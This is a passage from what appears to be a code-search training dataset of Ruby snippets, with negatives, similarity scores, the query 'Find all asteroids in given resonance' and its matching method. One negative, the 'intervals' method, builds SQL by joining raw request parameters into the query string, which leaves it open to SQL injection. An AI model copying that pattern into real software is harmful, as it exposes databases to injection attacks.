^ Checks to see if bot is sitting inside the range\n upper_bound += 1\n elsif is_on_face(bot, Region.new(x0, y0, z0, x1, y1, z1))\n #puts 'END SUCCESS scanning faces'\n # Check along all 6 faces to see if points are in range..(slow?)\n upper_bound += 1\n end\n end\n [upper_bound, lower_bound]\nend", "def start(segments, w, h, &block)\n segments.shuffle!\n d = 0\n @ss = SearchStructure.new_from_bounding_box(\n Segment[Point[d,d], Point[w-d, d]],\n Segment[Point[w-d,d], Point[w-d, h-d]],\n Segment[Point[w-d,h-d], Point[d, h-d]],\n Segment[Point[d,h-d], Point[d, d]])\n @graph = nil\n @segments = segments\n @queue = Queue.new\n Thread.new(block) do\n @stop = !@show_trapezoids\n segments.each do |segment|\n if speed != 100 && !@stop || @step_by_step\n @drawer.clear\n draw_ss\n new_trapezoids = @ss.update_list(segment)\n new_trapezoids.each do |t|\n @drawer.draw_trapezoid(t, :old => true)\n end\n segment.draw(@drawer)\n wait(BASE_MAP_SPEED/@speed) \n end\n @ss.add(segment)\n if @speed != 100 && !@stop || @step_by_step\n @drawer.clear\n draw_ss\n @ss.new_trapezoids.each do |t|\n @drawer.draw_trapezoid(t.trapezoid, :new => true)\n end\n wait(5.0/@speed)\n end\n end\n draw_ss if @stop\n @graph = @ss.create_graph\n wait(BASE_MAP_SPEED/@speed) if speed != 100 && !@stop || @step_by_step\n draw_graph if @stop\n draw\n block.call\n end\n end", "def aggregate(table, id, start_time, end_time, interval)\n rows = rows(table, id, start_time, end_time)\n return [] if rows.count < 2\n @queries = []\n clusters = cluster_rows(rows, interval)\n clusters.each do |cluster|\n aggregate_cluster(cluster, table, id)\n end\n return @queries\n end", "def room_items(r)\n (r.z1..r.z2).each { |z|\n ((r.x1 & -16)..r.x2).step(16) { |x|\n ((r.y1 & -16)..r.y2).step(16) { |y|\n df.map_tile_at(x, y, z).mapblock.items_tg.each { |i|\n yield i if i.flags.on_ground and i.pos.x >= r.x1 and i.pos.x <= r.x2 and i.pos.y >= r.y1 and i.pos.y <= r.y2 and i.pos.z == z\n }\n }\n }\n }\n end", "def room_items(r)\n (r.z1..r.z2).each { |z|\n ((r.x1 & -16)..r.x2).step(16) { |x|\n ((r.y1 & -16)..r.y2).step(16) { |y|\n df.map_tile_at(x, y, z).mapblock.items_tg.each { |i|\n yield i if i.flags.on_ground and i.pos.x >= r.x1 and i.pos.x <= r.x2 and i.pos.y >= r.y1 and i.pos.y <= r.y2 and i.pos.z == z\n }\n }\n }\n }\n end", "def intervals\n #query = \"SELECT idschool,codesc,nomeesc,bairro,end_esc\"\n #query = query + \",num_esc,ab1em_14,ap3em_14,enem2013,longitude,latitude FROM schoolbs\"\n query = \"SELECT * FROM (SELECT row_number() OVER (ORDER BY s.enem2013 DESC nulls last) as ranking,\"\n query = query + \" idschool,codesc,nomeesc,bairro,end_esc,num_esc,ab1em_14,ap3em_14,enem2013,nomemun,telefone,cep,\"\n query = query + \" CASE WHEN biblio>0 THEN 'SIM' ELSE 'NÃO' END as id_biblio,\"\n query = query + \" CASE WHEN lab_inf>0 THEN 'SIM' ELSE 'NÃO' END as id_lab_inf,\"\n query = query + \" longitude,latitude FROM schoolbs s) t1 LEFT JOIN ( SELECT schoolb_id, NULLIF(AVG(value),0.0)\"\n query = query + \" as stars FROM qualifications GROUP BY schoolb_id) t2 ON t1.idschool = t2.schoolb_id\"\n query = query + \" WHERE t1.\" + params[:test] + \" >= \" + params[:lo] + \" AND t1.\" + params[:test] + \" <= \" + params[:hi];\n #render html: query\n @schoolbs = Schoolb.find_by_sql(query)\n end", "def subintervals(intervals, &block)\n raise ArgumentError.new('intervals must be an array') unless intervals.is_a? Array\n\n steps = [] # Steps will be extracted from intervals\n subintervals = [] # The output\n last_time = nil\n last_attrs = nil\n started_count = 0 # The number of intervals opened inside the cycle\n\n # Extract start times and end times from intervals, and create steps\n intervals.each do |el|\n begin\n ts = el[:time_start].to_time\n te = el[:time_end].to_time\n rescue NoMethodError\n raise ArgumentError.new('intervals must define :time_start and :time_end as Time or Date')\n end\n attrs = el.clone\n attrs.delete(:time_start)\n attrs.delete(:time_end)\n steps << { opening: 1, time: el[:time_start], attrs: attrs } # Start step\n steps << { opening: -1, time: el[:time_end], attrs: attrs.clone } # End step\n end\n\n # Sort steps by time (and opening if time is the same)\n steps.sort! do |a,b|\n diff = a[:time] <=> b[:time]\n diff = a[:opening] <=> b[:opening] if (diff == 0)\n diff\n end\n\n # Iterate over steps\n steps.each do |step|\n if (started_count == 0)\n last_time = step[:time]\n last_attrs = step[:attrs]\n else\n if(step[:time] > last_time)\n subintervals << ({\n time_start: last_time,\n time_end: step[:time]\n }.merge(last_attrs))\n\n last_time = step[:time]\n end\n\n if block_given?\n last_attrs = block.call(last_attrs.clone, step[:attrs],(step[:opening] == 1 ? :open : :close))\n else\n last_attrs = step[:attrs]\n end\n end\n\n # Update started_count\n started_count += step[:opening]\n end\n\n subintervals\n end", "def subsequence(range_start, range_end, start_seen_cb=nil, end_seen_cb=nil)\n result = []\n start_seen = range_start.nil?\n @contents.each{|c|\n if range_end and range_end.object_id == c.object_id\n end_seen_cb.call if end_seen_cb\n break \n end\n if range_start and range_start.object_id == c.object_id\n start_seen = true\n start_seen_cb.call if start_seen_cb\n next\n end\n if start_seen\n if c.is_a? XML\n break_me = false\n result += c.subsequence(nil, range_end, nil, lambda{break_me=true})\n break if break_me\n else # String/XML_PI/XML_Comment\n result << c\n end\n else\n # String/XML_PI/XML_Comment cannot start a subsequence\n if c.is_a? XML\n break_me = false\n result += c.subsequence(range_start, range_end, lambda{start_seen=true}, lambda{break_me=true})\n break if break_me\n end\n end\n }\n # Include starting tag if it was right from the range_start\n # Otherwise, return just the raw sequence\n result = [XML.new(@name, @attrs, result)] if range_start == nil\n return result\n end", "def range(start_val, end_val)\n return [] if start_val + 1 == end_val\n nums = [start_val + 1]\n nums + range(start_val + 1, end_val)\nend", "def rec_intersection(rect1, rect2)\n\tx_min = [rect1[0][0],rect2[0][0]].max \n\tx_max = [rect1[1][0],rect2[1][0]].min \n\ty_min = [rect1[0][1],rect2[0][1]].max \n\ty_max = [rect1[1][1],rect2[1][1]].min \n\n\t(x_max < x_min) || (y_max < y_min) ? nil : [[x_min, y_min], [x_max, y_max]]\nend", "def every(step)\n return [@start] unless @finish > @start\n\n [].tap do |range|\n while @start <= @finish do\n range << @start.to_date.to_s\n @start = @start.advance(step)\n end\n end\n end", "def range(start, finish)\n return [] if finish < start\n return [start] if finish - 1 == start\n range(start, finish - 1) + [finish - 1]\nend", "def find_radius(houses, heaters)\n houses = houses.sort\n heaters = heaters.sort\n res = 0\n i = 0\n houses.each do |h|\n while i < heaters.size - 1 && heaters[i] + heaters[i + 1] <= h * 2 do \n i += 1\n end\n res = [res, (heaters[i] - h).abs].max \n end\n res\nend", "def sum_of_interior_angles\n 180 * (@number_of_sides - 2)\n end", "def asteroid_collision(asteroids)\n puts '-' * 43\n puts \"asteroid_collision: #{asteroids}\"\n\n return [] if asteroids.empty?\n\n res = []\n\n asteroids.each do |ast|\n puts res.to_s\n\n if res.empty?\n res.push(ast)\n next\n end\n\n temp = res.pop\n\n if (temp < 0) && (ast < 0)\n res.push(temp)\n res.push(ast)\n next\n end\n\n if (temp > 0) && (ast > 0)\n res.push(temp)\n res.push(ast)\n next\n end\n\n if (temp < 0) && (ast > 0)\n res.push(temp)\n res.push(ast)\n next\n end\n\n next if (temp**2) == (ast**2)\n\n if compare(temp, ast) == ast\n redo\n else\n res.push(temp)\n end\n end\n\n puts \" > #{res}\"\n\n res\nend", "def loop_midpoints(addr)\n midpoints = []\n 0.upto(addr.length - 2 ) do | index|\n addr1 = addr[index]\n addr2 = addr[index + 1]\n midpoints << find_midpoint(addr1,addr2)\n end\n return midpoints\n end", "def query_range(left, right)\n \n end", "def query_range(left, right)\n \n end", "def all_views(input)\n asteroid_positions(input).map do |p1|\n asteroid_positions(input).map { |p2| angle(p1, p2) }.compact.uniq.size\n end\nend", "def available_rooms(range_query)\n all_rooms = @rooms.map {|room| room.number}\n\n conflicting_reservations = @reservations.find_all { |res| res.range.overlap?(range_query) == true }\n occupied_rooms = conflicting_reservations.map {|res| res.room_num}\n occupied_rooms = occupied_rooms.uniq\n\n available_rooms = all_rooms - occupied_rooms \n\n return available_rooms\n end", "def OverlappingRanges(arr)\n\n # code goes here\n return arr \n \nend", "def get_arc_points(cx,cy,radius, beg_angle, end_angle, degree_inc = 1.0)\r\n# - - - - - - - - - - - - - - - - - - - -\r\n deg = beg_angle\r\n degree_inc = degree_inc.abs\r\n ares = Array.new\r\n while (deg < end_angle)\r\n #print \"(deg = \", deg, \")\\n\"\r\n cp = calc_point_from_angle(cx,cy, deg, tradius)\r\n ares.append(cp)\r\n deg += degree_inc\r\n end #while\r\nend", "def zeno(start, stop)\n distance = stop - start\n travelled = start\n while travelled < stop and distance > 0\n yield travelled\n distance = distance / 2.0\n travelled += distance\n end\nend", "def find_all(input)\n solutions = []\n\n while any_rectangles?(input) do\n solution = solution(input)\n\n solutions << solution\n\n fill_rectangle input, solution\n end\n\n solutions\nend", "def range_from_diagram(str_arr, dir, aoe = false)\n \n if !aoe\n @tbs_spec_range = {} \n @tbs_spec_range[dir] = []\n else\n @tbs_aoe_range = {}\n @tbs_aoe_range[dir] = []\n end\n \n ox,oy = -1,-1\n \n # initial pass finds origin\n str_arr.each_with_index do |arr,i|\n arr.each_with_index do |letter,j|\n if TactBattleManager.orig_char?(letter)\n ox, oy = j, i\n end\n end\n end\n \n raise \"Invaid range in db notes for skill #{@id}.\\n\" if ox == -1 || oy == -1\n \n # second pass offsets coordinates based on origin\n str_arr.each_with_index do |arr,i|\n arr.each_with_index do |letter,j|\n \n if TactBattleManager.hit_char?(letter)\n case aoe\n when false # pos relative to player\n @tbs_spec_range[dir].push(Vertex.new(j-ox,i-oy))\n when true\n @tbs_aoe_range[dir].push(Vertex.new(j-ox,i-oy))\n end\n end # if TactBattleManager.hit_char?(letter)\n \n end # arr.each_with_index\n end # str_arr.each_with_index\n \n if aoe\n load_other_ranges(dir, @tbs_aoe_range)\n else\n load_other_ranges(dir, @tbs_spec_range)\n r = @tbs_spec_range\n @tbs_spec_range[:all] = r[:up] + r[:down] + r[:right] + r[:left]\n end\n end", "def get_route(start_arr, end_arr)\n root = Position.new(start_arr[0], start_arr[1])\n target = Position.new(end_arr[0], end_arr[1])\n solution = get_target_value(target, root)\n\n route = []\n route.unshift([target.x, target.y])\n location = solution.parent\n until location == nil\n route.unshift [location.x, location.y]\n location = location.parent\n end\n return route\nend", "def range(start, ending_value)\n return [] if start > ending_value\n result = [start] + range(start + 1, ending_value)\nend", "def excise(ranges)\n if ranges.class != Array\n raise RuntimeError, \"Argument should be an array of ranges\"\n end\n ranges.each do |r|\n if r.class != Range\n raise RuntimeError, \"Argument should be an array of ranges\"\n end\n end\n\n answer = Array.new\n previous_excised_stop = self.start - 1\n ranges.sort_by{|r| r.first}.each do |r|\n subslice_start = previous_excised_stop + 1\n if subslice_start <= r.first - 1\n answer.push(Slice.new(self.seq_region, subslice_start, r.first - 1))\n end\n previous_excised_stop = r.last\n if r.last > self.stop\n return answer\n end\n end\n subslice_start = previous_excised_stop + 1\n answer.push(Slice.new(self.seq_region, subslice_start, self.stop))\n return answer\n end", "def circle_of_blocks pass, xoffset, yoffset, angleoffset, blocksize, distance\n numblocks = 10\n\n for i in 1..numblocks do\n angle = ((360 / numblocks) * i) + angleoffset\n radians = angle * (Math::PI / 180)\n x = (xoffset + (distance * Math.cos(radians))).round\n y = (yoffset + (distance * Math.sin(radians))).round\n pass.solids << [ x, y, blocksize, blocksize, 255, 255, 0 ]\n end\nend", "def range_start; range.first; end", "def split_range(range)\n start, finish = range.begin, range.end\n start += length if start < 0\n finish += length if finish < 0\n \n [start, finish - start - (range.exclude_end? ? 1 : 0)]\n end", "def region_by_boundaries(left, right)\n if left && right\n if left != right\n IntervalNotation::Syntax::Long.closed_closed(left, right)\n else\n IntervalNotation::Syntax::Long.point(left)\n end\n else\n if !left && !right\n IntervalNotation::Syntax::Long::Empty\n else\n raise 'Wrong parsing assumptions. My bug!'\n end\n end\nend", "def populate\n spots = @spaces.length**2\n asteroids = (spots * 0.3).round\n gravity_wells = (spots * 0.1).round\n empty_space = (spots * 0.6 ).round\n\n asteroids.times {fill_spot('A')}\n gravity_wells.times {fill_spot('G')}\n #Because we fill two empty space with start, end marks\n empty_space.times {fill_spot('.')}\n end" ]
[ "0.57230544", "0.54768497", "0.5457582", "0.54111487", "0.5384382", "0.53677857", "0.5340084", "0.53324497", "0.5291634", "0.52822244", "0.52500904", "0.5245245", "0.5233917", "0.5157799", "0.51520157", "0.5142144", "0.5095644", "0.50856274", "0.5076656", "0.5047769", "0.50441635", "0.5033214", "0.5013493", "0.5010898", "0.50091076", "0.50037", "0.49954182", "0.4995373", "0.49888253", "0.4962665", "0.4960294", "0.49574146", "0.49573275", "0.4956766", "0.49507496", "0.49497673", "0.49492428", "0.4947334", "0.49442238", "0.49436927", "0.49430856", "0.49430543", "0.4926832", "0.49257773", "0.49250188", "0.49151164", "0.49097276", "0.49035466", "0.4900582", "0.48967972", "0.4885645", "0.48843005", "0.48747826", "0.48662308", "0.48631275", "0.48580334", "0.4850092", "0.48487255", "0.4847049", "0.48346725", "0.4831624", "0.48305577", "0.48251238", "0.48214775", "0.48162898", "0.4814903", "0.48136228", "0.48067525", "0.48030627", "0.4800853", "0.47975516", "0.47975516", "0.4796348", "0.47953665", "0.47939518", "0.47866097", "0.47843334", "0.47798014", "0.4769031", "0.47638032", "0.47587663", "0.4754746", "0.47432992", "0.47421664", "0.47421664", "0.47410953", "0.4731235", "0.47278652", "0.47261006", "0.47255087", "0.47218958", "0.47201383", "0.47149402", "0.4712322", "0.4711004", "0.4700396", "0.4698307", "0.46959135", "0.4693593", "0.46935862" ]
0.66536564
0
Find all asteroids in given resonance resonance: resonance array
def find_asteroids_in_resonance(c_resonance) asteroids = Array.new File.open(CONFIG['resonance']['db_file'], 'r').each do |line| arr = line.split(';') resonance = arr[1].gsub!('[', '').gsub!(']', '').split(', ').map{|elem| elem.to_f} if ((resonance[0] == c_resonance[0]) && (resonance[1] == c_resonance[1]) && (resonance[2] == c_resonance[2])) asteroid_num = arr[0].to_i asteroids.push(Asteroid.new(asteroid_num, c_resonance)) end end asteroids end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def asteroid_collision(asteroids)\n puts '-' * 43\n puts \"asteroid_collision: #{asteroids}\"\n\n return [] if asteroids.empty?\n\n res = []\n\n asteroids.each do |ast|\n puts res.to_s\n\n if res.empty?\n res.push(ast)\n next\n end\n\n temp = res.pop\n\n if (temp < 0) && (ast < 0)\n res.push(temp)\n res.push(ast)\n next\n end\n\n if (temp > 0) && (ast > 0)\n res.push(temp)\n res.push(ast)\n next\n end\n\n if (temp < 0) && (ast > 0)\n res.push(temp)\n res.push(ast)\n next\n end\n\n next if (temp**2) == (ast**2)\n\n if compare(temp, ast) == ast\n redo\n else\n res.push(temp)\n end\n end\n\n puts \" > #{res}\"\n\n res\nend", "def get_squares my_array\n\t\t@my_array = my_array\n\t\tresult = []\n\t\n\t\tresult = @my_array.select do |nr| \n\t\t\ttrue if @my_array.any? {|double| nr*nr==double}\n\t\tend\n\t\tresult.sort!\n\t\tresult\n\tend", "def find_radi(xy, cluster)\n north = north_radius(xy, cluster)\n south = south_radius(xy, cluster)\n east = east_radius(xy, cluster)\n west = west_radius(xy, cluster)\n ne = ne_radius(xy, cluster)\n nw = nw_radius(xy, cluster)\n se = se_radius(xy, cluster)\n sw = sw_radius(xy, cluster)\n\n all = [north, south, east, west, ne, nw, se, sw]\n return all\n end", "def get_squares(array)\n\t\n\tnew_array = [] # make new array to hold the values that we have specified\n\n\tarray.each do |num| # pass each OBJECT(object itself - not index of object) of array into block\n\t\tnew_array << num if array.include?(num * num) # check if array includes square of current object it has been passed, if it does, then put that object in new_array array we made earlier\n\tend\n\n\treturn new_array.sort # return the new array containing objects which matched the condition\n\nend", "def visible_asteroids\n @rows.each_with_object([]).with_index do |(row, results), y|\n results << row.each_with_object(Array.new(@width, nil)).with_index do |(pixel, counters), x|\n next if pixel.nil? || pixel.zero?\n\n # count only the unique keys (one / direction)\n counters[x] = asteroid_directions(x, y).keys.length # naive quadratic search\n end\n end\n end", "def get_squares(array)\n\n squares = array.map {|item| item * item} # gives an array of the square values\n in_both = squares & array # returns elements that feature in both arrays\n selects = in_both.map {|x| Math.sqrt(x).to_i} # finds the square root of those elements\n array.select {|x| selects.include?(x)}.sort # selects all the matching elements in the original array\n\nend", "def ring_array\n ring_array = Array.new\n self.rings.count.times{|i| ring_array << i+1}\n return ring_array\n end", "def get_squares(array)\n to_return = []\n array.each { |v|\n if (array.include? v) && (array.include? v*v)\n to_return << v\n end\n }\n to_return.sort\nend", "def high_yield_mines (a)\n @arr2 = Array.new\n a.each do |this|\n if this[:specimens].length >= 4\n @arr2.push(this[:location])\n end\n end\nend", "def get_squares(array)\n array.select {|x| x % (Math.sqrt x) == 0}.sort.uniq\nend", "def find_secondaries\n\n if File.exist?(@reciprocal_hits)\n # puts \"reciprocal output already exists\"\n else\n length_hash = Hash.new\n fitting = Hash.new\n @evalues.each do |h|\n length_hash[h[:length]] = [] if !length_hash.key?(h[:length])\n length_hash[h[:length]] << h\n end\n\n (10..@longest).each do |centre|\n e = 0\n count = 0\n s = centre*0.1\n s = s.to_i\n s = 5 if s < 5\n (-s..s).each do |side|\n if length_hash.has_key?(centre+side)\n length_hash[centre+side].each do |point|\n e += point[:e]\n count += 1\n end\n end\n end\n if count>0\n mean = e/count\n fitting[centre] = mean\n end\n end\n hits = 0\n @missed.each_pair do |id, list|\n list.each do |hit|\n l = hit.alnlen.to_i\n e = hit.evalue\n e = 1e-200 if e==0\n e = -Math.log10(e)\n if fitting.has_key?(l)\n if e >= fitting[l]\n if !@reciprocals.key?(id)\n @reciprocals[id] = []\n found = false\n @reciprocals[id].each do |existing_hit|\n if existing_hit.query == hit.query &&\n existing_hit.target == hit.target\n found = true\n end\n end\n if !found\n @reciprocals[id] << hit\n hits += 1\n end\n end\n end\n end\n end\n end\n end\n return hits\n end", "def find_best_location(asteroids)\n\tresults = Hash.new\n\tbest = nil\n\tmax = 0\n\tasteroids.each do |(x,y), item|\n\t\tar = asteroid_relative(x,y,asteroids)\n\t\tresult = seen_i(ar)\n\t\tsize = result.size\n\t\tif size > max\n\t\t\tmax = size\n\t\t\tbest = [ x, y, result]\n\t\tend\n\tend\n\tremove_self(*best)\n\tbest\nend", "def all_views(input)\n asteroid_positions(input).map do |p1|\n asteroid_positions(input).map { |p2| angle(p1, p2) }.compact.uniq.size\n end\nend", "def find_polys(ta,seq,actions)\n\n minn = 4\n m2 = 1#(minn/2) \n m4 = (minn/4)\n r = [-1,0,0]\n re2 = /((#{ta}{#{m2},})(.{0,3})(#{ta}{#{1},}))/i\n \n \n type='ActionIndetermination'\n poly_base = 'N'\n \n matches = re2.global_match(seq.seq_fasta,3)\n\n\t\tmatches2 = /[^N]N$/.match(seq.seq_fasta)\n\t\t\n\t\t\n # HASH\n polys = []\n\n # crear una region poly nuevo\n poly = {}\n #i=0\n\n matches.each do |pattern2|\n\n #puts pattern2.match[0]\n m_start = pattern2.match.begin(0)+pattern2.offset\n m_end = pattern2.match.end(0)+pattern2.offset-1 \n \n\t\t\t #puts \"MATCH: #{m_start} #{m_end}\"\n\n # does one exist in polys with overlap?\n\n # yes => group it, updated end\n\n # no => one new\n\n if (e=overlap(polys,m_start,m_end))\n \n e['end'] = m_end\n e['found'] = seq.seq_fasta.slice(e['begin'],e['end']-e['begin']+1)\n \n else\n poly={}\n poly['begin'] = m_start\n poly['end'] = m_end # the next pos to pattern's end\n poly['found'] = seq.seq_fasta.slice(poly['begin'],poly['end']-poly['begin']+1)\n polys.push poly\n end\n \n end \n \n \n poly_size=0 \n\n polys.each do |poly|\n #puts \"NEW POLY: #{poly.to_json}\"\n \t\t\n \t\tif poly_near_end(poly['end'],seq.seq_fasta) # near right side\n \t\t #puts \"near end\"\n a = seq.new_action(poly['begin'],poly['end'],type)\n a.right_action=true\n actions.push a\n \n poly_size=poly['end']-poly['begin']+1\n add_stats('size',poly_size)\n else\n \t\t#puts \"far of end\"\n\t if check_poly_length(poly['begin'],poly['end']) and (check_poly_percent(poly,poly_base))\n\t \t\t#puts \"ok\"\n\t\t\t a = seq.new_action(poly['begin'],poly['end'],type)\n\t\t a.right_action=true\n\t\t actions.push a\n\t\t \n if @params.get_param('middle_indetermination_rejects').to_s=='true'\n\t\t seq.seq_rejected=true \n seq.seq_rejected_by_message='Indeterminations in middle of sequence'\n end\n\t\t \n\t\t poly_size=poly['end']-poly['begin']+1\n\t\t add_stats('size',poly_size)\n\t end\n \n \n end\n end \n \n \n end", "def get_squares array\n\tnew_array = []\n\tarray.each do |number|\n\tif array.include? number**2 \n\tnew_array << number\n\tend\nend \n\treturn new_array.sort \nend", "def all_choices_from(arrs) \n max_index = arrs.map { |x| x.size }.max - 1\n\n generate_power_set_of_size((0..max_index).to_a, arrs.size) do |indexes|\n next_set = []\n\n skip = false\n\n indexes.each_with_index do |j, i|\n v = arrs[i][j]\n skip ||= v.nil?\n next_set << v\n end\n\n yield next_set unless skip\n end\n end", "def checkSrepIntersection\n (0..$sreps.length-1).each do |j|\n (0..$sreps.length-1).each do |i|\n if i != j\n $sreps[j].checkIntersection($sreps[i])\n end\n end\n end\n end", "def sdrm_rt_bulk(sequences, cutoff = 0, temp_r_dir = File.dirname($0))\n region = \"RT\"\n rf_label = 1\n start_codon_number = 34\n gap = \"AGACTTCAGGAAGTATACTGCATTTACCATACCTAGTATAAACAATGAGACACCAGGGATTAGATATCAGTACAATGTGCTTCCAC\"\n\n n_seq = sequences.size\n mut_nrti = {}\n mut_nnrti = {}\n mut_com = []\n r1_aa = {}\n r2_aa = {}\n point_mutation_list = []\n sequences.each do |name,seq|\n r1 = seq[0,267]\n r2 = seq[267..-1]\n seq = r1 + gap + r2\n s = Sequence.new(name,seq)\n s.get_aa_array(rf_label)\n aa_seq = s.aa_array\n\n r1_aa[name] = aa_seq[0,89].join(\"\")\n r2_aa[name] = aa_seq[-85..-1].join(\"\")\n nrti = sdrm_nrti(aa_seq,start_codon_number)\n nnrti = sdrm_nnrti(aa_seq,start_codon_number)\n mut_com << (nrti.merge(nnrti))\n\n nrti.each do |position,mutation|\n if mut_nrti[position]\n mut_nrti[position][1] << mutation[1]\n else\n mut_nrti[position] = [mutation[0],[]]\n mut_nrti[position][1] << mutation[1]\n end\n end\n nnrti.each do |position,mutation|\n if mut_nnrti[position]\n mut_nnrti[position][1] << mutation[1]\n else\n mut_nnrti[position] = [mutation[0],[]]\n mut_nnrti[position][1] << mutation[1]\n end\n end\n end\n\n mut_nrti.each do |position,mutation|\n wt = mutation[0]\n mut_list = mutation[1]\n count_mut_list = count(mut_list)\n count_mut_list.each do |m,number|\n ci = r_binom_CI(number, n_seq, temp_r_dir)\n label = number < cutoff ? \"*\" : \"\"\n point_mutation_list << [\"NRTI\", n_seq, position, wt, m, number, (number/n_seq.to_f).round(5), ci[0], ci[1], label]\n end\n end\n\n mut_nnrti.each do |position,mutation|\n wt = mutation[0]\n mut_list = mutation[1]\n count_mut_list = count(mut_list)\n count_mut_list.each do |m,number|\n ci = r_binom_CI(number, n_seq, temp_r_dir)\n label = number < cutoff ? \"*\" : \"\"\n point_mutation_list << [\"NNRTI\", n_seq, position, wt, m, number, (number/n_seq.to_f).round(5), ci[0], ci[1], label]\n end\n end\n point_mutation_list.sort_by! {|record| record[2]}\n\n link = count(mut_com)\n link2 = {}\n link.each do |k,v|\n pattern = []\n if k.size == 0\n pattern = ['WT']\n else\n k.each do |p,m|\n pattern << (m[0] + p.to_s + m[1])\n end\n end\n link2[pattern.join(\"+\")] = v\n end\n linkage_list = []\n link2.sort_by{|_key,value|value}.reverse.to_h.each do |k,v|\n ci = r_binom_CI(v, n_seq, temp_r_dir)\n label = v < cutoff ? \"*\" : \"\"\n linkage_list << [region, n_seq, k, v, (v/n_seq.to_f).round(5), ci[0], ci[1], label]\n end\n\n report_list = []\n\n div_aa = {}\n r1_aa_start = 34\n r2_aa_start = 152\n\n r1_aa_size = r1_aa.values[0].size - 1\n r2_aa_size = r2_aa.values[0].size - 1\n\n (0..r1_aa_size).to_a.each do |p|\n aas = []\n r1_aa.values.each do |r1|\n aas << r1[p]\n end\n count_aas = count(aas)\n div_aa[r1_aa_start] = count_aas.sort_by{|_k,v|v}.reverse.to_h\n r1_aa_start += 1\n end\n\n (0..r2_aa_size).to_a.each do |p|\n aas = []\n r2_aa.values.each do |r1|\n aas << r1[p]\n end\n count_aas = count(aas)\n div_aa[r2_aa_start] = count_aas.sort_by{|k,v|v}.reverse.to_h\n r2_aa_start += 1\n end\n\n div_aa.each do |k,v|\n record = [region, k, n_seq]\n $amino_acid_list.each do |amino_acid|\n aa_count = v[amino_acid]\n record << (aa_count.to_f/n_seq*100).round(4)\n end\n report_list << record\n end\n\n return [point_mutation_list, linkage_list, report_list]\nend", "def km_get_reacid(data)\n return data.map{|d| d.scan(/(?<r>R\\d{5})/)}.flatten.sort\nend", "def sharpen ary\n edge_extend(ary).each_cons(3)\n .map {|l,m,r| [0, (-1.0*l + 5.0*m + -1.0*r)].max }\nend", "def find_between(start, stop)\n asteroids = Array.new\n File.open(@db_file, 'r').each do |line|\n arr = line.split(';')\n tmp = arr[0].to_i\n if ((tmp >= start) && (tmp <= stop) )\n resonance = arr[1].delete('[').delete(']').split(',').map{|x| x.to_f}\n asteroids.push(Asteroid.new(arr[0], resonance))\n end\n end\n asteroids\n end", "def construct_ms_per_r(gm, rd, md)\n ms_per_r = Array.new(rd[:num_regions]) {|e| e = Array.new}\n for y in 0...gm[:y] do\n for x in 0...gm[:x] do\n if md[:moves][y][x] != 0\n r = rd[:regions][y][x]\n ms_per_r[r].push(md[:moves][y][x])\n end\n end\n end\n puts \"ms_per_r = \" + ms_per_r.to_s\n return ms_per_r\nend", "def find_pairs(array)\n sub_arrays = []\n\n for start_idx in (0..array.size - 2) do\n for right_idx in ((start_idx + 1)..array.size - 1) do\n sub_arrays << [array[start_idx], array[right_idx]]\n end\n end\n result = sub_arrays.select do |sub|\n sub[0] * sub[1] == 100\n end\n result.uniq\nend", "def all_views(input)\n asteroid_positions(input).map do |p1|\n x = asteroid_positions(input).map { |p2| angle(p1, p2) }.compact.uniq.size\n puts \"#{p1} #{x}\"\n x\n end\nend", "def get_squares(array)\n\tto_return = []\n\tsorted = array.sort\n\tsorted.each do |number|\n\t\tto_return << number if sorted.include?(number*number)\n\n\tend\n\treturn to_return\nend", "def get_squares(array)\n numbers = []\n array.select do |n|\n if array.include? n*n\n numbers << n\n end\n end\n numbers.sort\nend", "def residents\n u = []\n @buildings.each { |building| u << building.workers }\n (-1..1).each do |xx|\n (-1..1).each do |yy|\n next if xx == 0 and yy == 0\n u << @game[@x+xx,@y+yy].worker\n end\n end\n return u.flatten.compact\n end", "def residues\n @rs\n end", "def get_squares(numbers)\n sqrt_roots=[]\n # Caculate square roots of each and store an array\n numbers.each do|number|\n sqrt_roots << (number ** 0.5)# √number is equivalent to number**0.5\n end\n numbers.select { |number| sqrt_roots.include? number }.sort # return array sort array of the number common to both\nend", "def gets_squares(array)\n array.select{ |i| Math.sqrt(i) % 1 == 0}.uniq.sort\nend", "def find_pairs(array)\n sub_arrays = []\n\n left_idx = 0\n\n while left_idx <= array.size - 2\n right_idx = left_idx + 1\n while right_idx <= array.size - 1\n sub_arrays << [array[left_idx], array[right_idx]]\n right_idx += 1\n end\n left_idx += 1\n end\n result = sub_arrays.select do |sub|\n sub[0] * sub[1]== 100\n end\n result.uniq\n end", "def find_radius(houses, heaters)\n houses = houses.sort\n heaters = heaters.sort\n res = 0\n i = 0\n houses.each do |h|\n while i < heaters.size - 1 && heaters[i] + heaters[i + 1] <= h * 2 do \n i += 1\n end\n res = [res, (heaters[i] - h).abs].max \n end\n res\nend", "def get_squares(arr)\n sorted_arr = arr.sort\n # sorted_arr[3 , 9, 9, 81]\n\n with_sq_arr = []\n sorted_arr.each do |n|\n with_sq_arr << n**2\n # with_sq_arr[9, 81, 81, xxxx]\n end\n\n final_arr = []\n with_sq_arr.each do |n|\n final_arr << Math.sqrt(n).round if sorted_arr.count(n) >= 1\n end\n return final_arr\n # final_arr[3, 9, 9]\nend", "def construct_ms_per_r(gm, rd, md)\n ms_per_r = Array.new(rd[:num_regions]) {|e| e = Array.new}\n for y in 0...gm[:y] do\n for x in 0...gm[:x] do\n if md[:moves][y][x] != 0\n r = rd[:regions][y][x]\n ms_per_r[r].push(md[:moves][y][x])\n end\n end\n end\n # puts \"ms_per_r = \" + ms_per_r.to_s #NICE TO HAVE\n return ms_per_r\nend", "def scan\n robotlist = @@all\n robotlist.select {|robot| robot.position == [@position[X]+1, @position[Y]]}\n robotlist.select {|robot| robot.position == [@position[X]-1,@position[Y]]}\n robotlist.select {|robot| robot.position == [@position[X],@position[Y]+1]}\n robotlist.select {|robot| robot.position == [@position[X],@position[Y]-1]}\n end", "def compare(index, mines)\n my_mine = mines[index]\n result = []\n for mine in mines\n result << within_blast_radius(my_mine[0],my_mine[1],my_mine[2],\n mine[0],mine[1])\n end\n result\nend", "def all\n @rarray\n end", "def sdrm_nrti(aa_array,start_aa=1)\n out_hash = {}\n sdrm = {}\n sdrm[41] = ['M',['L']]\n sdrm[65] = ['K',['R']]\n sdrm[67] = ['D',['N','G','E']]\n sdrm[69] = ['T',['D']]\n sdrm[70] = ['K',['R','E']]\n sdrm[74] = ['L',['V','I']]\n sdrm[75] = ['V',['M','T','A','S']]\n sdrm[77] = 